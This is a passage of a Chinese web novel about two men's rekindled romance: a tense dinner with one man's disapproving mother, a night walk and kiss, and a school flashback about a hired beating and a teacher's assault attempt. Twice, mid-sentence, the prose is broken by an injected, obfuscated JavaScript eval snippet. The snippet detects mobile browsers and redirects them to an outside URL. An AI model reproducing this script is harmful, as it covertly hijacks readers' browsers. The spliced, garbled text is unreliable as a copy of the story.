“身材保持得挺不错。”原北夸了一句。 衬衫肩膀处稍微有点紧,但影响不大。方野不知道怎么回答这句夸奖,就没说话,喉咙里应了一下。 他穿上西装后,全身仿佛都被困进一个锁套似的,怎么也不习惯。原北手撑着床后仰,将方野自下而上看一遍,轻快地起身,拍了拍他的背:“挺直,自信一点。” 方野出了口气,没忍住又去看镜子,里面那个人看上去实在是陌生。 他不像原北,模样俊秀且上相。平时看不出来,一穿上正装,方野自己都觉得不伦不类。 餐桌早已布置好,素色花瓶里的鲜花还沾着水珠,花瓣娇艳欲滴。原北靠着桌边,手指无聊地拨弄花瓣,正在和孟华女士通话。 他妈对于“借住的朋友”这一说法嗤之以鼻,说道:“小北,你也是快三十岁的人了,妈妈过两年就准备过退休生活,你不能连自己的终身大事都解决不好,对不对?” “我身边大把没结婚没对象的,这种事你又急不来。” 孟华克制住话语间的不悦,同时恰到好处将那种不悦传达出来:“你在不该乱来的时候,可是乱来得很。” 原北早已免疫,只是应和,装作什么都没听懂,孟华也只好将未出口的话咽下去。 “我会考察一下你这位朋友的。”孟华回到平日里优雅的状态,“放心,你喜欢是最重要的,只是也得考虑其他方面的条件。” 原北将这片饱经摧残的花瓣扯下,他的指腹浸染了粉红色的花汁。 手指搓开,原北微微一哂,那点复杂的笑意转瞬即逝,他抽过湿纸巾将手细致地擦干净。 “方野?” 方野听见他在和家人打电话,正在想是否需要回避,原北已经转过身,“我改主意了,你愿不愿意帮我扯个谎?” 方野看着他:“什么谎?” “告诉我妈,我们不仅在一起,而且早就在一起了。” 方野很快回道:“不。” 他有点故意的,将拒绝的意味表现得很明显,可遭拒绝的原北还是一幅无所谓的样子,耸肩说:“那就算了。” “你怎么不说,我就是你的初恋呢?”方野绷紧下巴。 原北失笑:“这种玩笑不好玩,小心我妈气得把你扔出去。” 他说着,又习惯性地理了下方野的领口,“你没打领带?” 方野正要说不会,玄关处一响,大门打开。 一位高挑秀美的女人抬脚进门,藕粉色连衣裙外裹着白色皮草大衣,看模样像四十岁上下,面上带着温和的微笑。 她的目光,已经落在原北还没离开方野身体的手上。 “小北,妈妈来早了,这位就是你朋友?” 14. 第十四章 31 原北过去接了孟华的包,扶着她坐下,趁机对方野使了个眼色。 方野总算机灵一回,在原北拿拖鞋时,转身去倒了一杯温水,放在桌上,感觉出迟来的如坐针毡。 “怎么还让人家客人倒水?”孟华在原北肩后轻轻打了一下,嗔怪道,“自己也不做饭也不洗衣,就我来的时候献个假殷勤。你说我要不来,你平时怎么过?” 原北提起她的高跟鞋放好,笑了下:“平时就那么过,家里有阿姨做饭,去公司就在食堂吃,饿不死的。” 孟华叹口气:“你啊,大少爷。”随后她和颜悦色地招呼方野,“来,坐阿姨这边。” 方野已经观察过餐桌的布局,三人可以坐得很遥远。未料孟华先声夺人,还主动去伸手拽椅子,他计划泡汤,不得不听话地坐过去。 原北洗完手回来,见此情此景,还没说话,就被孟华不轻不重瞪了一眼。 他只好做个手势示意自己没有意见,亲自去酒柜开了瓶红酒。 方野坐下后,旁观母子俩的眉眼官司,食不知味。孟华主要还是和原北说话,但他心中的弦一直紧紧地绷着。 “说起来方野也是阳城人吧?” 吃了七分饱,孟华就放下筷子,优雅地擦了擦唇角,声音有十分和气,“我很久没有回阳城了,在外那么多年,都不知道自己家现在长什么样。” 方野心中急迫地想着接上孟华的话,可他偏偏天生不擅长说,好不容易挤出几句,像是在背阳城近几年的重大新闻总结。 孟华笑容不变,听完柔和自然地接上几句,不让方野难堪,又问:“这么说,小方,我就先这样叫你了,你是打算来广城工作吗?” 方野身体一僵,在他说话之前,原北叫了一声:“妈,酒醒好了。”这场对话就此告一段落。 深红色的酒液自醒酒器中倒出,流入杯中,宛如液体状的丝绸。孟华的习惯是用餐后喝一杯红酒,原北将杯子放在她面前,若无其事地一笑:“妈,你尝尝,我喝不惯这种。你喜欢的话,还有一瓶也带回去吧。” 话题被打断,孟华瞥他一眼,精致的指甲在原北腰上一戳,却没再追问,转而聊些无关痛痒的话题。 方野后背都是汗,频频朝原北那边看。相反原北一晚上都是镇定自若的样子,很少和他有眼神交流,更遑论说话。他胸口空空地荡着,盯着原北给他的红酒,想要抽烟的欲|望快要克制不住。 夜色渐深,孟华将手机响了。她拿起看了眼,自然地指使原北:“小北,麻烦你去帮妈妈把这份文件打印一下。” 原北顿了顿,孟华淡淡地说:“格式也发给你了,按照格式来噢。” 他轻轻叹一口气,离开餐厅时手掌在方野肩后一按,头也不回地离开了。 书房的门关上,孟华向后一仰,熟练地自手包中拿出火机和烟盒,嫣红嘴唇含住一支烟,看向方野:“你抽吗?” 方野低声说:“不抽。”他回过神了,知道孟华是故意支开原北,一定要和他说话。 “我想也是。”孟华吸了一口,眉目舒展开,“他不怎么喜欢烟酒,身边人如果爱沾这些,你们一定很难相处下去。” 说是这么说,她却在亲儿子家中喷云吐雾,抱歉地笑笑:“怪我和他爸。我俩烟酒不离手,就这么过了大半辈子,他不喜欢很正常。” 方野沉默片刻,解释道:“我之前也抽,不过后面戒了。” “喔,很有毅力么。戒烟是好事,我戒过三次,但都失败了,毕竟你要戒一辈子,坚持一辈子很难的啊。” 她话里有话。方野抬起脸,孟华眼角显出几分疲倦的老态,眼神却锐利地上下看着他。 “一辈子是很长的。”她说,“方野,对吧?我其实很早就知道你了,没想到我们有见面的一天,你是对小北还有意见吗?” 方野没听懂她的话,困惑地反问:“什么?” “我知道小北在阳城一中时的恋爱对象是你,不过那时我想他还小,一时冲动总是能掰回来的。分手的事你不要全怨他,主要是我们直接把他送走了,也没有跟你好好沟通……” 方野消化了一会,他的手指有点抖,虽然他也不清楚在抖什么。孟华静静看着他,将烟盒同打火机一起,在桌面上推过去。 灯下造型优雅的黑色火机展现出一种釉彩似的光辉,烟也是好烟,会抽烟的人都能嗅到其中的烟草气味。它们静静躺着,旁边还有被碰落的花瓣,悄无声息地诱惑方野。 他太阳穴隐隐作痛,心脏跳动加速,强行移开目光。 既然说了要戒烟,那就说到做到。 “其实你的成绩还是很不错的,报了C大,对不对?你应该还记得,开学前你的高中班主任联系你,说有人匿名提供了奖学金,给你上学,只是被你坚定拒绝了。” 方野猜到了什么,不可置信。 “也是缘分,我丈夫就是C大毕业的,因此我们匿名为你提供了资助,想助你无忧无虑地读完大学。说实话,我没想到你会……”她含蓄地略过,“对你打击很大吗?因此我想,小北现在应该也抱着几分补偿的心思,否则他不会回国后就去见你。” 32 补偿。 方野头一回对这个词产生某种生理性恶心。他不需要什么补偿,他的行为不需要谁来替他后悔。 孟华也没说错,原北和他见面后,话里话外都有点对不住他,想掏钱补分手费的意思。 “我并不是……”他嗓音沉沉开口,却被打断了。 “妈,打印好了。” 原北拿着装订好的一沓文件出来,用牛皮纸袋妥帖包住,笑了下,“你们聊得很开心?那我以后可得请方野多上门坐坐。” 三个人彼此都心知肚明地转移话题,没说几句,孟华就拿着包起身:“好了,不打扰你们小伙子,我还约了手部护理。小北,下去帮妈妈开车。” 原北拿起钥匙:“方野,陪我下去。” 孟华:“你怎么回事?我还能吃了他?” 方野听他的命令已经习惯了,稍一纠结正要跟上去,原北微微侧脸:“跟他没有关系,你就别抓着他不放了。” “妈妈也不是傻瓜。”孟华寸步不让,“下去,开车。” 原北吐出一口气,没看方野,默不作声地出门。 孟华走到方野身边,她冷静地说:“小方,我只能把话说得直接点。你跟小北,并不合适,你们之间那么多年都没有在一起,生活轨迹完全不同,我可以说你们已经是陌生人了。光凭一时的感情冲动,或者说对过去的怀念就要在一起,对自己是很不负责任的行为。” 见方野欲言又止,她竖起手掌,矜持的傲气与原北几乎是一个模子里刻出来的:“我知道你可能心里不舒服,你也是一个特立独行的孩子。唉,可是,你们分开,其实对你更好。小方,说老实话,小北比你玩得起。他最多失恋后消沉一段时间,因为他谈过不止一次恋爱,也有丰厚的物质基础,这些你没有。” “假如你们分手,你们吵架,肯定是你从这座不属于你的房子出去,到时你能去哪里?虽然我叫你们小伙子,可你们也要三十岁了,你已经习惯在阳城的固定生活,你能为了他放弃一切来广城吗?” 方野跳过前面的问题,简短地说:“我可以。” 孟华冷冷地问:“你觉得你高中毕业的学历,家里也没人帮衬,在广城能做什么?” 方野胸口发紧,额头一跳一跳的,他不得不一口接一口地深呼吸,才能让自己不至于失态。 他说不出话,孟华继续说:“我不介意小北的另一半没有工作,即使是男的也无所谓,但这段感情一定要体面、和谐、稳定。你们之间……不行。” 体面、稳定。这两个词都跟方野没关系,他的出生不体面,他本人也不介意是否体面,偏偏他想跟一个体面的人谈恋爱。 过了很久,静寂中只有原北那个空有水的鱼缸发出咕嘟咕嘟的水泡声。 孟华说的每句话都在理,无法反驳。方野头脑抽痛,在他不清晰的记忆里,原北一定在某天对他说过一段话。 “方野。” “嗯,怎么了?” “我梦到我成明星了,结果报纸上放着狗仔拍到的我们俩偷情的照片。” “噢……然后呢?” “没什么,傻子,就是我爸妈在梦里骂我怎么不去跳楼,粉丝拉横幅让我自杀谢罪。” 当时方野怎么回答的,他记不清了。不过他的思路是管他们去死,既然原北自愿和他谈恋爱,那就谁也指责不了。 这就是原北一直害怕发生的事吗?在方野不知道的时候,原北会不会曾在某个夜晚,被谩骂和愤怒困住? “也不要太有压力,我今天来不是逼你们现场分手,只是想打个预防针。”孟华客气地颔首,“好聚好散,还是朋友。不用送了,你坐着吧,哪有客人送客的道理。” 客人。一直被强调的这个词剥离礼貌的外衣,露出疏冷漠然的内在。 孟华走了,高跟鞋清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653041|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆的声音吞没于电梯之中。方野在空荡荡的宽敞客厅内竟然有种无处可躲的逼仄感,他走到鱼缸前,手掌贴上玻璃,映出一片幽蓝。 如果能一头扎进去溺死就好了,死在他家客厅的鱼缸,原北一定一辈子都忘不了他。同时,也不要受其他人的折磨了,可以去愉快地寻找合适的对象。 楼下原北已经将车倒出来,孟华动作优雅地坐进副驾驶:“司机在小区门口等着,开过去就好。” 她望向自己唯一的孩子,原北侧脸俊雅出众,模样集合了父母的优点,那双眼睛静静望着前方,里头一点不甚明亮的灯影,让她心中百转千回。 最好的孩子,唯独在恋爱上不给她省心。 “尽快跟小方分了吧。”孟华放柔声音,也放低姿态。 原北一字不答,他已经习惯了这些话,直接不给出回应,孟华也知道这不是默认。 这是场漫长的拉锯战,他们都很疲惫。 “我知道他是你初恋,但是你怎么能选这样的对象?太上不得台面了。” 原北终于给出反应:“我又不是他老板,何必在乎雇的人上不上得台面。” “伴侣也是你在社会上的一张名片,应该慎重选择,我只是不希望你以后会后悔。” “想做就做了,没什么后悔的。” “你真是执迷不悟。” 和已经流露怒气的孟华不同,原北只是气定神闲地笑笑:“我还没确定跟他在一起,妈,你怎么那么生气?” 孟华终于道:“我看,你是气死我才开心。” 原北已经预料到不欢而散的结局,然后下次再度循环。 扶着折叠电动车坐在那里玩手机的司机看见眼熟的车出现,赶紧站起来,等着上班,车门却迟迟不开。 孟华:“我为什么生气?你的择偶标准太让我失望了。” 原北:“我的择偶,只要满足我自己就好了。这里不能一直停车,我先回去了,妈妈,祝你享受一个完美的夜晚。” 司机总算等到车门打开,他见过数面的老板儿子动作利落地下车,一身好看但不保暖的正装,表情难测,在寒夜中呼出一口白气。 两人对上视线,原北微点了下头,对他笑道:“这么晚,辛苦了。” 孟华开价慷慨,司机忙说:“不辛苦不辛苦。” 看着原北手插着口袋慢慢走回去,司机坐进车里,想到自己今年高三的儿子,不由唏嘘:“孟姐,你这儿子是怎么养的,真是一表人才。听说今天是见儿媳妇,人怎么样?” 本来望着窗外的孟华,只轻轻地说:“嗯,人还不错,就是工作差点。” “嗐,重要的还是人好。再说小原那么能赚钱,还用在乎女朋友工作怎么样?” 孟华疲惫地笑了笑:“没有谱的事,现在的孩子都不愿意结婚,再说吧。” 轿车拐去街道,冬日的夜晚连虫鸣都没有,一个人走在路上,倒方便原北思考。 他垂着头走了一段,若有所感,抬头向前看时,手电一团白光照到他脚下。 方野喘气的声音有点重。他脱了麻烦的西装外套,随便抓了件原北的外套披上,曲起的手臂上还挂着一件毛绒绒的家居棉衣。 隔着几步之遥,方野看见原北的脸,还沉浸在思索的余韵中,又因为低温而苍白,呈现出某种拒人千里之外的冷感。 原北没想到他会出现在这里,愣了一愣。方野已经跨到他面前,把那件不见天日很久的崭新棉衣糊里糊涂披在他肩上:“别感冒了。” “……”原北摸了摸衣服,隐约记得是他妈哪次给他买的,早已被他遗忘在衣帽间深处,不知道方野是怎么扒拉出来的。 “把你衣服翻得有点乱,回去我收拾。”方野紧挨着他,低头说,“外面这么冷,你穿那么少,我怕你生病。” 沉默片刻,原北疲倦地笑了笑,他的鼻尖被冻得发红,嘴唇却缺少血色:“现在这么会说话,对我妈怎么就成哑巴了?” 他向前走,方野和他并肩走着,过了会说:“因为她说的都是真的。” “左右我们也没复合,你不要对她的话有压力。” 方野陡然间停下脚步,原北走得离他很近,差点被绊倒,下意识伸出去寻找依靠物的手被方野用力抓住。 “那我们现在算什么?” 路灯的照明范围之外,昏蒙蒙的夜晚中,方野靠近原北的脸,他都没意识到自己的语气里有几分哀求,“你明知道带我过来会……你应该给我一个答案。” 15. 第十五章【回忆杀】 33 暗昧的光线中,原北完全转身,同方野正面相对。 答案,会有什么答案? 方野等了一会,只等来沉默。 原北将衣服袖子扯了扯:“回去吧,外面冷得很,这两天估计要降温。” 方野一把抓回他的右手,像是宣布什么重要事项一般说:“我们现在这样算什么?你敢让我亲你吗?”他完全豁出去了。 原北一动不动地凝视他,面孔如同精致的雕像。 方野动作粗鲁地亲上去时,嘴唇先碰到原北的脸颊。他手臂同时揽住原北的后背,感到手下的身体下意识后仰些许,外套的绒毛摩擦着他的手心。 原北的呼吸变得急促,没有躲。方野略一迟疑,偏过头,含住他的嘴唇。 他不敢看原北,闭上眼,脸侧却被人用手心轻轻抚了一下。 原北的手心很凉,手指更凉,自方野脸侧轻飘飘滑过。方野以为他的手要离开了,却被原北的手心捧住脸。 他愣住,稍稍后退,被原北手指一捏:“继续。” 方野这次用力地吻下去,原北的手指按进他鬓边的发中,张开嘴唇,和他接了一个湿漉漉的吻。 方野没有心思去记他是怎么进的门,门才在背后刚刚关上,他就已经将原北按进沙发里。 他以为亲吻会是生疏的,然而却好像跟回忆里没有差别。依然是方野毛手毛脚,原北不动声色地做着引导者,告诉他应该怎么动作。 几分钟后,原北抬手用拇指拨开方野额前的头发,方野退开一点,依旧贴着他的面颊,深而重地呼吸着。 鱼缸又在发出咕嘟咕嘟的声响,方野靠着他耳朵问:“你为什么不养鱼?” 原北笑了两声:“恐怕我换鱼比换水快。” 他整个人舒展而松散地躺在沙发里,已经皱了的西装外面不伦不类地罩着厚实的毛绒外衣,标签都没撕。屋内很暖和,再折腾一番,原北的手和脸已经热了起来。 方野身材高大不说,原北也是挺拔修长的身材。沙发虽然并不窄小,可两个男人挤在上面,也不得不手腿交缠,紧紧密密地靠着。 “你是不是觉得,如果我为了你抛下一切来到广城,不仅是我对不起我自己,还会让你有负罪感?” 原北扫他一眼:“你觉得这是合理清醒的决定吗?” 他声音淡淡,不过脸上还带了点红晕,嘴唇湿润,这话并没有平时的冷漠和锐利。方野心里慢慢有了计较,低声说:“你就是介意这个。” 原北没出声,移开视线,摆出不欲交谈的样子。方野却不知怎么,心里莫名其妙的高兴,可能因为他的个人前途本来应该无人在意,但是有了原北,这世界上才有人把他当做正常人对待。 方野的脸埋在他肩膀上,原北的呼吸和心跳都近在咫尺。他手不由得紧了紧,怀着满心的茫然和失落:“那你回来做什么?” 原北平和地问:“你在质问我?” 方野:“我宁愿你永远不回来。” “……” 原北没说话,他偏过脸,漆黑的眼睛静静看着方野。 方野嘴唇发抖,他尽力让自己声音平稳、语句连贯:“你一直不回来,我就可以在阳城一直等下去。我宁愿你不回来,我就这样等下去……我也不想……再被你抛弃一次……” 无尽的等待中他可以安慰自己还有无尽的希望,然而一旦见面,就要迎来结局。 他说不下去了,望着原北的脸,凭空竟然生出一种咬下去的冲动。方野硬是转过去不看他,却被什么按住了嘴唇。 柔软的指腹停在他上唇,随后下滑到唇缝。方野被他一根手指逼得撑起上身,但嘴唇违背理智地张开,含住原北的食指。 “看我做什么。”原北说,“感觉你很想咬我,给你咬一口吧,不用你出医药费。” 方野感觉一种发麻的酸意自耳后蔓延到牙齿和舌头,他舔着原北的指尖,忽然一用力。 原北抽了口气,他食指上留下一圈浅浅的牙印。随后他的手掌张开,方野的亲吻从他的食指蔓延到手心,再一路向上亲到手腕。 温热的吐息紧贴着皮肤,原北手指收拢,方野最后在他手背吻了吻,握住他的手看他。 “我们复合吧。”原北看着客厅上方淡黄的灯带说。 这是方野一直追求的答案,此刻他看着朦胧中原北的面容,却不敢答应了。 34 十一年的时间足够方野无数次复盘他跟原北的恋爱过程,但是每一次复盘他都推导不出原北选择和他谈恋爱的原因。 那次实验楼对峙之后,风平浪静了很久。陈飙之前传的谣言因为没有根据,逐渐消失,他依旧过着混混的日子,原北则正常地上学——除了偶尔逃课。 他成绩很好,期中考直接考了市第三,估计家里和学校也打好招呼,对他的旷课行为老师都当没看见。 原北在的时候,方野几乎不向他那边看。一旦原北不来,他却又控制不住地看着原北的空座位发呆。他眼前时不时闪回那天在实验楼的事,然而原北没有表现出一丝一毫的记恨。 大概在他眼里,方野只是个不用费心记住的路人。 考完后恰逢节假日,加在一起可以放个七天长假。高三在假期里要来学校上自习,有特殊情况可以跟班主任登记不来。 方野打算趁这个假期去做点短工。他去登记时,办公室门从里面打开,原北迎面走出,撞见他,平静地微一点头,算作问候。 这个问好太突然,等方野反应过来时,原北已经和他擦肩而过,走远了。 登记的本子上只有两个名字,一个原北一个方野。班主任叮嘱几句不来学校也不要耽误学习,方野心不在焉地应下。 他踩着斜斜的落日去推自行车,经过校门东边的巷子时,看到陈飙的身影一闪,几个人笑着将另一个穿着校服的人踹了进去。 这一切并未在方野心里引起什么波动。他仍然不合时宜地回想着原北对他仓促的问候,以及后悔为什么没有快点反应过来,最少可以回应一句。 车拐过一个弯,方野转着生锈的门锁,打开门。太阳落下去一半,屋里没什么光线,厨房那边传出“咕嘟嘟”的声音。 “奶奶。”方野扬声叫道,听见厨房里传来老人含糊的应答声,走过去打开灯,“我吃完出去。” 方野的爷爷去年去世,他奶奶一夕之间身边亲近的只有这个孙子,身体不好也天天晚睡早起,照顾方野这个高三学生。老人家节省,况且他们家现在确实清贫,做饭灯都舍不得开。 “出去做什么?” 方野关了火,把热粥盛出来:“去上自习。” 吃完饭他出门,将校服一脱塞进包里,沉默地骑车赶往阳城的酒吧街。 方野人不伶俐,更不会说话,找短工也只能找到吃苦的体力活。不过他不介意,这种活给的钱并不算少,就是辛苦。 这次他找的就是酒吧街这边一家新开的酒吧,卸货搬货的事很多。老板急着收拾,出手大方,方野靠高个子和刚成年的优越条件顺利入选。 酒吧街环境乱得很,完全是社会青年聚集地,入夜后更是群魔乱舞。方野带着口罩,从后门进去,闷不做声地开始干活。 他不仅要搬货,还要帮忙整理仓库,忙活完后已经是九点多,身上全是汗。外面的外套是老板给的,干活时穿,灰扑扑一大片。 这个时候热闹才刚开始,方野边数钱边走出后门,空气里都是酒精和尼古丁,混杂着小吃摊的油炸味。他把卷起的钞票塞进口袋里,一转头,遇见几个小时之前才见过面的熟人。 原北背靠着墙,手中轻轻抛着手机,似乎是没料到这扇破旧的门里还能走出人,诧异地对上方野的眼睛。 方野也愣住,看了他好一会,刚要开口,原北竖起手指,对他“嘘”了一声。 他手指飞快地打了几个字,将手机塞回口袋,揶揄地看了眼方野:“来这里玩?” “……不是,打工。” 原北歪了歪头,看不出信不信,只懒洋洋“唔”一声。 方野在原地站了会,解释:“我来这里搬货。” 原北的目光重新看向他,说道:“我知道,你脸上身上都是灰,差点以为你被人打了。” 两人声音都压得很低,还不如外面传来的铁板上滋滋烧油的声音大。极其狭窄的通道外漏进变换闪烁的霓虹灯光,把他们笼罩进去。 “你在这做什么?” 见原北寒暄完不开口,方野闷声问。他是想装作无意的样子,可是越想这样越显得生硬,问话时听上去语气冲得要打架。 他心中暗自后悔,也不知后悔什么。原北看上去不介意,瞥他一眼,突然靠近:“想看吗?” “看、看什么?” 原北身上带着一股清新的味道,跟方野满身的灰尘味截然不同。他猝不及防的靠近,更是令方野下意识想逃避。 方野一手抓住酒吧后门的门把手,最终没躲,他甚至还转向原北的方向。原北乌黑的眼珠被霓虹灯蒙上一层迷离的光影,方野这才迟钝地从他的笑容里品尝到些许冰冷的意味。 “看点好戏。” 原北站直身体,摸出一个口罩和一顶棒球帽带上,方野只能看见他压在帽檐下的眼睛和勾起的嘴角:“走,这边。” 方野稀里糊涂,跟了上去。 35 原北有意避开人群走小路,他走得很快,头也不抬地压着帽子。方野心中充满怀疑,隐约有不太好的预感。 灰扑扑的墙上画满不明所以的丑陋涂鸦,有的地方写满脏话,还有陈年的啤酒瓶和烟头。 越走越深,周围安静下去,那些杂音就像隔了层隔音壁,模模糊糊。原北走进一幢三层小楼,楼梯上都是灰尘,一踩一个脚印。 方野庆幸自己的口罩还带着。他们一直走到三楼,这座早已废弃的小楼楼顶都是垃圾,还是原北掏出一把小型手电照亮脚下。 这时一些声音变得清楚。原北站在楼顶边缘,手电筒的光一晃,他安静地朝下望,头也不回地对方野说:“过来。” 方野走近了,站在他身后,能看见隔壁的旧楼二楼,空荡荡的窗框后面,几个黑乎乎的人影。 原北将手电关了,方野陪他一起听着那里传来的怒骂、闷哼和求饶的动静。过了几分钟,打斗停止了,几个人说笑着离开,烟头红亮的火光在黑夜里闪烁着。 原北一直没动,富有耐心地等待着。过了会,方野看见另有一行人匆忙向这里赶来,其中有两个人身上还套着一中的校服。 他脑子里滑过一个猜测,看向原北,只看见他无波无澜的侧脸。 “操,怎么回事?” “哎、哎!你轻点,这里真他妈黑,谁带手电了?” “日你大爷的,有血!血!” “救护车,要不要叫救护车?” 一阵混乱的大呼小叫,没人注意向侧上方看,那里有两位沉默的观众。 晃动的手电照亮了被扶下来的人昏迷不醒的脸,一边脸肿着,赫然是陈飙。 原北手指抵着下巴,直到这时才低低地笑出声,肩膀抖了两下,随后轻松地转身,问方野:“走不走了?” 藏在黑暗里,他显得有点邪恶。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653042|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们从另一个方向离开小楼,没几分钟走回喧嚣的人群里,把黑暗中的暴力扔在身后。 方野眼前发晕,光是腿机械地走着,在原北停下脚步时差点直愣愣地撞上去。他稳住后,原北停在一家热闹的摊位前,回头问他:“吃烤串吗?我请客。” 摊位一边摆了几张桌子就充当一家露天店铺,风吹得人满身油烟味。这种小摊方野天天见,熟悉得很,但没怎么吃过,他怕花钱。 原北显而易见只是心血来潮,他只点了少少的素菜,就让方野点。方野还处于头脑混乱中,猛地反应过来,摇头拒绝,原北便以一种不耐烦的眼神看他。 “说了请客,那我点,你吃吧。” 花钱的是大爷,方野没有任何反驳的余地。 原北坐下后接了个电话,他面上露出一点冰凉的微笑:“我已经验货了,挺不错的,剩下的钱周日打到你们账户,多谢。” 油汪汪的烤串端上来,滋滋作响,散发着辣辣的焦香味。原北看起来心情很好,拆开筷子,挑了半个烤青椒放在面前的纸盘里。 方野一直看着他,终于问:“你找人……打了陈飙?” “花点钱的事。”原北吃了两口,放下筷子,“之前还想要不要找你算账。” 方野的心提了起来,不知不觉屏住呼吸。原北用手按了按喉咙,咳完两声后说:“但是看你的样子,感觉找你算账也算不出什么头绪,就算了。不如天天看你担惊受怕,我还能有点乐子。” 方野忍不住反驳:“我没有这样。” 辣椒很辣,这种摊子加的料也重。原北被呛得不行,耳后到脸颊一层淡红,方野没作声,起身去给他拿了瓶汽水。 “谢谢。”原北喝完后说,“事情就这么算了吧。写情书……真亏你想得出来。” 方野想说那不是情书,只是校门口这种信封信纸卖得最便宜——因为怎么都卖不出去,花一块钱老板就塞给他厚厚一摞。 “不过我还好奇一件事。”原北侧过脸,“你为什么听陈飙的话?难道你打不过他?” 他夹了片白菜,慢条斯理地用筷子撕着吃。方野自胸口深处涌起一股冲动,想将那些他从来不对别人说的话倒出来一些。 尽管原北看起来一幅漠不关心的样子,他却莫名觉得,只要他说,只要他求助,原北一定会给他回应。 方野骤然从这种自作多情的想象中抽离出来,甚至忍不住想打个冷战。原北都把菜吃完了,卷起袖口,抬眼看他:“不说吗?” “我……” “没事,我也不是逼问你。”原北挺客气,打断方野,“不想说就算了,不过我希望你以后不要这么做,我只想安安心心高考完毕业,少点麻烦。” 方野食不知味,但又不好不吃。他时不时看坐在对面的原北,原北也不专心,边吃边用手机玩贪吃蛇。 他睫毛浓密而长,双眼皮偏窄。忽然睫毛一掀,黑眼睛定定迎上方野的视线。 方野下意识就想逃避,僵硬地看向菜盘,原北疑惑地笑了一下:“为什么一直看我?” 方野说不出来。 “你不会以为我是同性恋吧?”原北放下筷子,抽张纸巾擦手,饶有兴致地盯着方野,“信了陈飙的鬼话?” “我不是!”方野短促地低声否认,“你怎么……会这么想?” “我以为一般人都会这么想。”原北满脸不在乎地说完,起身将纸团扔进路边的垃圾桶,坐下后继续,“男老师和男学生的花边新闻什么的,谁不感兴趣?” 方野过了会,脑子短路似的,说了句:“我觉得你不是这样的人。” 原北不知怎得,好像是被他这句话逗笑了一般,手支着脸,脸上是一种纯然的愉悦的表情,眼睛很亮。 “那好吧,我告诉你怎么回事。”他身体微微前倾,“他是我们学校的数学竞赛教练,三十多岁,高一时候就说,很欣赏几位同学,里面有我。他经常叫这几位他欣赏的同学去单独补课,有男有女,成绩都很好,所以没人感觉不对。 “高二后他就开始刻意跟个别人拉近距离,一个是我,一个是我隔壁班的,他是贫困生。明华想要国内的升学率,会每年招揽一些成绩好家庭一般的学生,给免学费,但有成绩要求。这个老师是C大毕业的,他能帮忙走C大的自主招生,我不需要,有的是人需要。” 方野默默消化片刻,说:“所以他和那个学生……” 原北说:“我没有确切的证据,只是他们后来经常私下一对一补课,那个同学本来也比较孤僻。” 他短暂地沉默了一下,在沉默的瞬间方野正看着他,因此捕捉到原北面上闪过的犹豫和不忍。跟刚刚流露出的冷漠和讥诮并不一样,原来这个人也有怜悯之心。 “其实他问过我,很突然的一次,下课时候在后门堵住我,问我周日要不要和他一起参加数学竞赛的培训。不过我不打算搞那些,跟他说我退出竞赛,让他帮我和教练说一声。” 原北仰头看了会夜空,敞开心扉对他来说可能是一件很艰难的事,所以他安静好久,才对方野讲:“我应该注意到他奇怪的表情的。” 方野明白了什么:“其实就是……” “对。再后面是升高三的暑假,给下一届做培训,说要请之前的优秀学生来做示范,毕竟另一个老师请假,那位老师他忙不过来。他叫我去他宿舍帮忙改试卷,”原北嗓音拉长了点,“再之后,我跟他打起来了。” 方野说不出话,原北轻松地将一次性筷子折断扔在纸盘中,说出结局:“他想强上,我就用水果刀捅了他一下,后续处理比较麻烦,所以转学来了这里。” 16. 第十六章【回忆】 36 过了两天,消息落后的方野道听途说了有关陈飙的事:不知是在校外得罪了什么人,人家花钱从隔壁市雇了打手,坐火车过来将他打了一顿,打完通知他的“小弟”来收拾残局,当晚又坐着火车回去了。 总之,若非亲眼所见,听起来很像不靠谱的笑话。 对于陈飙挨打这事,绝大部分人都喜闻乐见。谁也不知道那个被传得很玄乎的主谋,就是原北。 方野心中复杂,看着原北笑吟吟地同几个男生聊游戏,感觉到一种深深的违和感。 “我用水果刀捅了他一下。” 那晚原北在热闹的夜市小摊上轻飘飘甩下这么一句话,奇妙地跟充满社会闲散人员的酒吧街融为一体。方野晚上回去后躺在他狭窄的单人床上,盯着天花板。 人很难不被第一印象影响,比如方野对原北的第一印象——有钱、会装、傲气,与周围人格格不入。 但这种少爷往往是不会亲手沾些乱七八糟的东西,花钱找人下黑手和捅了老师一刀再转学这种概括,更适合于陈飙一流。 方野快要睡过去的时候,朦胧间又听见他和原北的声音。 “为什么一直看我?” “你不会以为我是同性恋吧?” “……我不是!” 最后一句否认是方野喊出来的。他猛地惊醒,卧室里都是他自己的喘气声,心口跳得厉害。 上课了,原北回到座位上。方野心烦意乱,翻了半天,发现这节是英语,而他英语书没带。 “没带书?”他听到原北侧头轻声问,就胡乱地点了点头。 原北将书推到中间的空位,对方野说:“你用吧。” 他不听课,手里在写别的卷子,属于好学生的特权。方野将崭新的课本拽过来,发现那上面唯一的字迹就是原北随便写下的名字。 方野不明白原北为什么这么轻飘飘地原谅他,他在课上还在思考,终于在将原北说的话滚了几遍后有了头绪。 原北觉得对不起那位曾向他求助的贫困生,那么同样有贫困生身份的方野,自然得到他的优待。就像一种对别人怜悯的投射。 但是他的优待和宽容同样隐晦,处在一个令方野不上不下、难以捉摸的区间,似乎他是对方野有一种格外的偏袒,又似乎只是方野自作多情。 